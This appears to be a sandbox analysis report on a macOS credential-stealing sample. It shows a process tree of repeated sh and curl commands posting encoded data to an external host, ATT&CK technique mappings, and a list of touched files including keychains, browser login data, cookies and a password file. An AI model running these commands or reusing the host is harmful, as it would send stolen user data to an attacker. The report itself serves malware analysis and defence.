tEXXBEOEXllepEPzQSSXSzhVXPOPOVBPzhEEzpEzBOzeeVpVlOBlPVVSElhpBOPSpBiXltpSBtoSeVptOPPPSEEVXhBpeVBOllPtpXXtEXpSlSXXtPteQizhOtelPVlpozPSelBoEVhVoSXOPQpeSSPVQXOSzleteoQEeheQPihVeXOEVQoQlXQtBVQPOpeXXopQlBESBzoePVplBSSPSopVXoBthpiSootBitopiEVXQSXQQEOEVlzPhpSzPpeeoOztBXXoiOBOEhpQteiVEiOVOSSeSVVllOSEOopEXOzPEzXEEXllXpOlSlEhSzBXpESleVzXpzoEBQXzOSpESeVhSEhOVEEhVOSEQpSOQSQipOtoziQolzQoXeSPEieEhPzehPOQlBPhPPlQtoBhOlhSoSOtilXeeSpEzXpilOXhlpppOezXVEolehppQlePQSOVStBoESehltziBozzoSeVQoBSeleBVSXVhlhzVSVEOplPhltSltlhQpiQoiPpVEOzhhPzhOVitohoPthizQXPpXOQiQizeXtEzPPhQOzeezpVlSPhXohBpBBVOBiPQtlOQttXSSEoQXXVheSOBhEhXhtpPlPSlzXBlSXzEQlQliVBPeVttOiilXSiPEVpotPzhoQphelzEtpOSSeXSSPhzeSPSOtltpOioEEEhVzzPeliBSShSehoQhlXBleQtoiVOlzoSeBpStplBSSPSopVhoXEhEiSoolSezoizPpozephPoPoXOehePepPipeVOiipPBlBlOXotpQQPzXlBEoQPOepSXBStSV\" https://owqkoqoqoqoqoqqoqoo.info/api/agnt"5⤵
-
-
/usr/bin/curlcurl --fail --header "Content-Type: text/plain" --data OOzVBOVStQiPoOPoiihVQeeBiPithVBzBSpQXoOQpQQhzelleEtPOppBlVVzQiBVBPpopzEzXoQtzQQQSpQhBOQeXQePPEoESOXzQepzXilQhQQXXhzEPSliEBPeeiSBEEztipStPVBShVoOpVXoBzElQPtoeVOSPEQQtSzzXhhVQiQlzzeeStPiXzoSpeQPQiBOVSVPtBzoEQVhPSOpoizEopzzoiVVpoPoQXEzpElPehQPSVBEQoSleQQXOteVeoEeoEhozihBtSEXVhQhtXolPQpeepBOPpzQteepOEEtSoePlthXOBhzBeOhtSzzOXQilSSpzthVBoSOViPozthtlOPzeeBpVXQVOSiVopthzXSEoVolStSleSQBOVStpEoSzoOStElXiOBPOeOBBSeliteBOoOOlPeSlpBpzPpltioSVhtXoOoPetOhPEpEoEoVtezOoOQSSXPPQtpQESiOeieoEPXPeEQOzeezpVziSlVVhXeVBpiEVoOOepBSlEQtiSztXtBoBzEhzpEzQtpXlOQlXtiQQoVtQOloohtozooizVBeOpplilBBSEpoXEoEtzEhpoSOetoPPVQXOSzletePXEohzEeihVeQziBSoBXeBVBBQPOEtVShellBipQzllthXpOtSPXopVPXXEhXPOlXpoOSPEQQtSzzphzoBozlehhPPEePEitlzEoPQQliVOVeQhPVphVhSBQpoitBEtpOSEXopEhOihEOtiheehptiEBBQQzSXVPPPpBOiEXtizipEiiOllPXpllolSVBBVVEVBhOPzBSteSVpPtOSSQzBzhVSXESXohPzeBPSEQilSepEQzEBiPlhlVPieBBPzeSpPOeVotlEQozihtothlEioXVQeSiePXSSphzltptiBilzzohESVtEziBhPXBVQVOPVXOXEhQQEhOtPtiEPSSletXSQoSXXoPPeBEOEXllePpiOSzhXOSXioQoOVPhzeeEOipeoQOOpezXVEzOiQVBBhEpzEeeoPSepBSlEQtiQShlVhpQPzhzhEzQzeEBOViolhQQOEXlQlpXXtPteQiehSztpeieVhSSeBoQEhitehtQSXiiXetotleOQzlXpePoezEohXBzzPzpeiSShXeXVQilOlVthPEEptOoQzpEitBOtiOoEPopVhiBzEVPoVPlioePoSXSQzzphzPPoQOiVhpOeeSzEVQtzpXXozEPBlSlVoeeSPioVBzOeSVOVQzhVQotSoQiPBSiEhepXPPPQzihOXizphXoQBVSipXzilBXeittQppliSVoOhioloptpihooSPSpSzpPtSSoQztVheOBhOPzOeEeteEQOVpoXBXQQpQhPOXVhtOziVOoSSeeOQXitVOSlzltQPEOXEioXVQeSiePztQPBztEehoPoVpiBPtPXtOVlpVhPhEXolOVhihzPOtEOQtPBQieSzttBpSSopeptEXXBEOEXllepEPzQSSXSzhVXPOPOVBPzhEEzpEzBOzeeVpVlOBlPVVSElhpBOPSpBiXltpSBtoSeVptOPPPSEEVXhBpeVBOllPtpXXtEXpSlSXXtPteQizhOtelPVlpozPSelBoEVhVoSXOPQpeSSPVQXOSzleteoQEeheQPihVeXOEVQoQlXQtBVQPOpeXXopQlBESBzoePVplBSSPSopVXoBthpiSootBitopiEVXQSXQQEOEVlzPhpSzPpeeoOztBXXoiOBOEhpQteiVEiOVOSSeSVVllOSEOopEXOzPEzXEEXllXpOlSlEhSzBXpESleVzXpzoEBQXzOSpESeVhSEhOVEEhVOSEQpSOQSQipOtoziQolzQoXeSPEieEhPzehPOQlBPhPPlQtoBhOlhSoSOtilXeeSpEzXpilOXhlpppOezXVEolehppQlePQSOVStBoESehltziBozzoSeVQoBSeleBVSXVhlhzVSVEOplPhltSltlhQpiQoiPpVEOzhhPzhOVitohoPthizQXPpXOQiQizeXtEzPPhQOzeezpVlSPhXohBpBBVOBiPQtlOQttXSSEoQXXVheSOBhEhXhtpPlPSlzXBlSXzEQlQliVBPeVttOiilXSiPEVpotPzhoQphelzEtpOSSeXSSPhzeSPSOtltpOioEEEhVzzPeliBSShSehoQhlXBleQtoiVOlzoSeBpStplBSSPSopVhoXEhEiSoolSezoizPpozephPoPoXOehePepPipeVOiipPBlBlOXotpQQPzXlBEoQPOepSXBStSV https://owqkoqoqoqoqoqqoqoo.info/api/agnt5⤵
-
-
/bin/shsh -c "curl --fail --header \"Content-Type: text/plain\" --data \"OOzVBOVSpQiePOpVepVVQEXzEOitBtltXPPzXoOQzQQEzSllilQSSiXOlVVSSESoBPVlQiEilozQiQXSoXQh\" https://owqkoqoqoqoqoqqoqoo.info/api/agnt"5⤵
-
-
/bin/bashsh -c "curl --fail --header \"Content-Type: text/plain\" --data \"OOzVBOVSpQiePOpVepVVQEXzEOitBtltXPPzXoOQzQQEzSllilQSSiXOlVVSSESoBPVlQiEilozQiQXSoXQh\" https://owqkoqoqoqoqoqqoqoo.info/api/agnt"5⤵
-
-
/usr/bin/curlcurl --fail --header "Content-Type: text/plain" --data OOzVBOVSpQiePOpVepVVQEXzEOitBtltXPPzXoOQzQQEzSllilQSSiXOlVVSSESoBPVlQiEilozQiQXSoXQh https://owqkoqoqoqoqoqqoqoo.info/api/agnt5⤵
-
-
/bin/shsh -c "curl --fail --header \"Content-Type: text/plain\" --data \"OOzVBOVStQ\" https://owqkoqoqoqoqoqqoqoo.info/api/agnt"5⤵
-
-
/bin/bashsh -c "curl --fail --header \"Content-Type: text/plain\" --data \"OOzVBOVStQ\" https://owqkoqoqoqoqoqqoqoo.info/api/agnt"5⤵
-
-
/usr/bin/curlcurl --fail --header "Content-Type: text/plain" --data OOzVBOVStQ https://owqkoqoqoqoqoqqoqoo.info/api/agnt5⤵
-
-
/bin/shsh -c "curl --fail --header \"Content-Type: text/plain\" --data \"OOzVBOVSpQiePOpVepVVQEXzEOitBtltXPPzXoOQzQQEzSllilQSSiXOlVVSSESoBPVlQiEilozQiQXSoXQh\" https://owqkoqoqoqoqoqqoqoo.info/api/agnt"5⤵
-
-
/bin/bashsh -c "curl --fail --header \"Content-Type: text/plain\" --data \"OOzVBOVSpQiePOpVepVVQEXzEOitBtltXPPzXoOQzQQEzSllilQSSiXOlVVSSESoBPVlQiEilozQiQXSoXQh\" https://owqkoqoqoqoqoqqoqoo.info/api/agnt"5⤵
-
-
/usr/bin/curlcurl --fail --header "Content-Type: text/plain" --data OOzVBOVSpQiePOpVepVVQEXzEOitBtltXPPzXoOQzQQEzSllilQSSiXOlVVSSESoBPVlQiEilozQiQXSoXQh https://owqkoqoqoqoqoqqoqoo.info/api/agnt5⤵
-
-
/bin/shsh -c "curl --fail --header \"Content-Type: text/plain\" --data \"OOzVBOVStQ\" https://owqkoqoqoqoqoqqoqoo.info/api/agnt"5⤵
-
-
/bin/bashsh -c "curl --fail --header \"Content-Type: text/plain\" --data \"OOzVBOVStQ\" https://owqkoqoqoqoqoqqoqoo.info/api/agnt"5⤵
-
-
/usr/bin/curlcurl --fail --header "Content-Type: text/plain" --data OOzVBOVStQ https://owqkoqoqoqoqoqqoqoo.info/api/agnt5⤵
-
-
/bin/shsh -c "curl --fail --header \"Content-Type: text/plain\" --data \"OOzVBOVSpQiePOpVepVVQEXzEOitBtltXPPzXoOQzQQEzSllilQSSiXOlVVSSESoBPVlQiEilozQiQXSoXQh\" https://owqkoqoqoqoqoqqoqoo.info/api/agnt"5⤵
-
-
/bin/bashsh -c "curl --fail --header \"Content-Type: text/plain\" --data \"OOzVBOVSpQiePOpVepVVQEXzEOitBtltXPPzXoOQzQQEzSllilQSSiXOlVVSSESoBPVlQiEilozQiQXSoXQh\" https://owqkoqoqoqoqoqqoqoo.info/api/agnt"5⤵
-
-
/usr/bin/curlcurl --fail --header "Content-Type: text/plain" --data OOzVBOVSpQiePOpVepVVQEXzEOitBtltXPPzXoOQzQQEzSllilQSSiXOlVVSSESoBPVlQiEilozQiQXSoXQh https://owqkoqoqoqoqoqqoqoo.info/api/agnt5⤵
-
-
/bin/shsh -c "curl --fail --header \"Content-Type: text/plain\" --data \"OOzVBOVStQ\" https://owqkoqoqoqoqoqqoqoo.info/api/agnt"5⤵
-
-
/bin/bashsh -c "curl --fail --header \"Content-Type: text/plain\" --data \"OOzVBOVStQ\" https://owqkoqoqoqoqoqqoqoo.info/api/agnt"5⤵
-
-
/usr/bin/curlcurl --fail --header "Content-Type: text/plain" --data OOzVBOVStQ https://owqkoqoqoqoqoqqoqoo.info/api/agnt5⤵
-
-
/bin/shsh -c "curl --fail --header \"Content-Type: text/plain\" --data \"OOzVBOVSpQiePOpVepVVQEXzEOitBtltXPPzXoOQzQQEzSllilQSSiXOlVVSSESoBPVlQiEilozQiQXSoXQh\" https://owqkoqoqoqoqoqqoqoo.info/api/agnt"5⤵
-
-
/bin/bashsh -c "curl --fail --header \"Content-Type: text/plain\" --data \"OOzVBOVSpQiePOpVepVVQEXzEOitBtltXPPzXoOQzQQEzSllilQSSiXOlVVSSESoBPVlQiEilozQiQXSoXQh\" https://owqkoqoqoqoqoqqoqoo.info/api/agnt"5⤵
-
-
/usr/bin/curlcurl --fail --header "Content-Type: text/plain" --data OOzVBOVSpQiePOpVepVVQEXzEOitBtltXPPzXoOQzQQEzSllilQSSiXOlVVSSESoBPVlQiEilozQiQXSoXQh https://owqkoqoqoqoqoqqoqoo.info/api/agnt5⤵
-
-
/bin/shsh -c "curl --fail --header \"Content-Type: text/plain\" --data \"OOzVBOVStQ\" https://owqkoqoqoqoqoqqoqoo.info/api/agnt"5⤵
-
-
/bin/bashsh -c "curl --fail --header \"Content-Type: text/plain\" --data \"OOzVBOVStQ\" https://owqkoqoqoqoqoqqoqoo.info/api/agnt"5⤵
-
-
/usr/bin/curlcurl --fail --header "Content-Type: text/plain" --data OOzVBOVStQ https://owqkoqoqoqoqoqqoqoo.info/api/agnt5⤵
-
-
/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)" "--type=renderer" --display-capture-permissions-policy-allowed "--lang=en-GB" "--num-raster-threads=1" --enable-zero-copy --enable-gpu-memory-buffer-compositor-resources "--renderer-client-id=49" "--launch-time-ticks=630283795" --shared-files "--field-trial-handle=1718379636,r,4753790032468255022,426754747089233667,131072" "--seatbelt-client=140"5⤵
-
-
/bin/shsh -c "curl --fail --header \"Content-Type: text/plain\" --data \"OOzVBOVSpQiePOpVepVVQEXzEOitBtltXPPzXoOQzQQEzSllilQSSiXOlVVSSESoBPVlQiEilozQiQXSoXQh\" https://owqkoqoqoqoqoqqoqoo.info/api/agnt"5⤵
-
-
/bin/bashsh -c "curl --fail --header \"Content-Type: text/plain\" --data \"OOzVBOVSpQiePOpVepVVQEXzEOitBtltXPPzXoOQzQQEzSllilQSSiXOlVVSSESoBPVlQiEilozQiQXSoXQh\" https://owqkoqoqoqoqoqqoqoo.info/api/agnt"5⤵
-
-
/usr/bin/curlcurl --fail --header "Content-Type: text/plain" --data OOzVBOVSpQiePOpVepVVQEXzEOitBtltXPPzXoOQzQQEzSllilQSSiXOlVVSSESoBPVlQiEilozQiQXSoXQh https://owqkoqoqoqoqoqqoqoo.info/api/agnt5⤵
-
-
/bin/shsh -c "curl --fail --header \"Content-Type: text/plain\" --data \"OOzVBOVStQ\" https://owqkoqoqoqoqoqqoqoo.info/api/agnt"5⤵
-
-
/bin/bashsh -c "curl --fail --header \"Content-Type: text/plain\" --data \"OOzVBOVStQ\" https://owqkoqoqoqoqoqqoqoo.info/api/agnt"5⤵
-
-
/usr/bin/curlcurl --fail --header "Content-Type: text/plain" --data OOzVBOVStQ https://owqkoqoqoqoqoqqoqoo.info/api/agnt5⤵
-
-
-
-
-
/usr/bin/defaultsdefaults read "/Volumes/Google Chrome/Google Chrome.app/Contents/Info" CFBundleShortVersionString1⤵
-
/usr/bin/defaultsdefaults read "/Volumes/Google Chrome/Google Chrome.app/Contents/Info" KSVersion1⤵
-
/usr/bin/defaultsdefaults read "/Volumes/Google Chrome/Google Chrome.app/Contents/Info" KSProductID1⤵
-
/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/Helpers/ksadminksadmin --ksadmin-version1⤵
-
/usr/bin/defaultsdefaults read "/Applications/Google Chrome.app/Contents/Info" CFBundleShortVersionString1⤵
-
/usr/bin/defaultsdefaults read "/Applications/Google Chrome.app/Contents/Info" KSBrandID1⤵
-
/usr/bin/defaultsdefaults read "/Applications/Google Chrome.app/Contents/Info" CFBundleShortVersionString1⤵
-
/usr/bin/defaultsdefaults read "/Applications/Google Chrome.app/Contents/Info" KSVersion1⤵
-
/usr/bin/defaultsdefaults read "/Applications/Google Chrome.app/Contents/Info" KSUpdateURL1⤵
-
/usr/bin/defaultsdefaults read "/Applications/Google Chrome.app/Contents/Info" KSChannelID1⤵
-
/usr/bin/defaultsdefaults read "/Applications/Google Chrome.app/Contents/Info" CrProductDirName1⤵
-
/usr/bin/defaultsdefaults read "/Library/Google/Google Chrome Brand" KSBrandID1⤵
-
/bin/psps -ewwo "comm="1⤵
-
/usr/bin/grepgrep -Fqx "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/95.0.4638.69/"1⤵
-
/usr/bin/cutcut -c 1-1081⤵
-
/usr/sbin/lsoflsof "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/95.0.4638.69/Google Chrome Framework"1⤵
-
/usr/bin/base64base64 -D1⤵
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1AppleScript
1System Services
1Launchctl
1Defense Evasion
File and Directory Permissions Modification
2Linux and Mac File and Directory Permissions Modification
2Hide Artifacts
1Resource Forking
1Indicator Removal
1File Deletion
1Subvert Trust Controls
1Gatekeeper Bypass
1Replay Monitor
Loading Replay Monitor...
Downloads
.agnt
visual_model.tflite
settings.dat
37e8ffbe-0860-491d-bbb1-8ed29f584c87
CURRENT
MANIFEST-000001
craw_background.js
000003.ldb
000004.log
CURRENT
MANIFEST-000002
000003.ldb
000003.ldb
000003.ldb
000003.ldb
000003.ldb
000003.ldb
model.tflite
Ruleset Data
Ruleset Data
Filtering Rules
login.keychain-db
login.keychain-db
login.keychain-db
login.keychain-db
login.keychain-db
login.keychain-db
data.data
NoteStore.sqlite
Cookies
Login Data
Preferences
Web Data
cookies.sqlite
key4.db
Cookies.binarycookies
System Information.txt
User Name.txt
User Password.txt
icon_128.png
icon_16.png
mdsDirectory.db
mdsObject.db
gcmjkmgdlgnkkcocmoeiminaijmmjnii_9.70.0_all_gze4pzamdfkushbzoar2cohifm.crx3
dhlpobdgcjafebgbbhjdnapejmpkgiie_20220505_all_adfdqqtvlhuhhtrt6irlkpynghca.crx3
ojhpjlocmbogdgmfpkhlaaeamibhnphh_3_all_gplutbkdljxxbjolk3siq7kive.crx3
jflookgnkcckhobaglndicnbbgbonegd_3091_all_adfb4phbxwqsxsfvrtgwwtg25z6a.crx3
obedbbhbpmojnkanicioggnmelmoomoc_20251024.824731831.14_all_ENGB500000_lof45en2yrc2tvvdfc42hhgnkq.crx3
imefjhfbkmcmebodilednhmaccmincoa_29.0_mac_bfqwqczv2chgncq7qnwqjby3my.crx3
gonpemdgkjcecdgbnaabipppbmgfggbe_2025.07.24.00_all_hou4jz7zmeg5zedchpigdjxhve.crx3
laoigpblnllgcgjnjnllmfolckpjlhki_1.1.0.3_all_adwgvw4jdcarox4vlsm7t4gq257a.crx3
efniojlnjndmcbiieegkicadnoecjjef_1738_all_arzmsk6as7y3xu64ovzipa6pke.crx3
khaoiebndkojlmppeemjhbpbandiljpe_145.0.7584.0_mac_adijmuudraws5pmse4bp2wpjlfpq.crx3
eeigpngbgcognadeebkilcpcaedhellh_2025.06.13.084507_all_acip2yapafsolnpcvaohkisaowaq.crx3
ggkkehgbnfjpeggfpleeakpidbkibbmn_2022.10.19.1145_all_ac7cecrzrmfngskhgmtk6zmhfjoa.crx3
.com.google.Chrome.byZM75
lmelglejhemejginpboagddgdfbepgmp_724_all_ZZ_acsohfnsvtuivzzk6z3dn65vhjna.crx3
hfnkpimlhhgieaddgfemjhofmfblmnib_10706_all_e5jponzzsuj3hqa2ekcro2fppy.crx3
fsck_hfs.log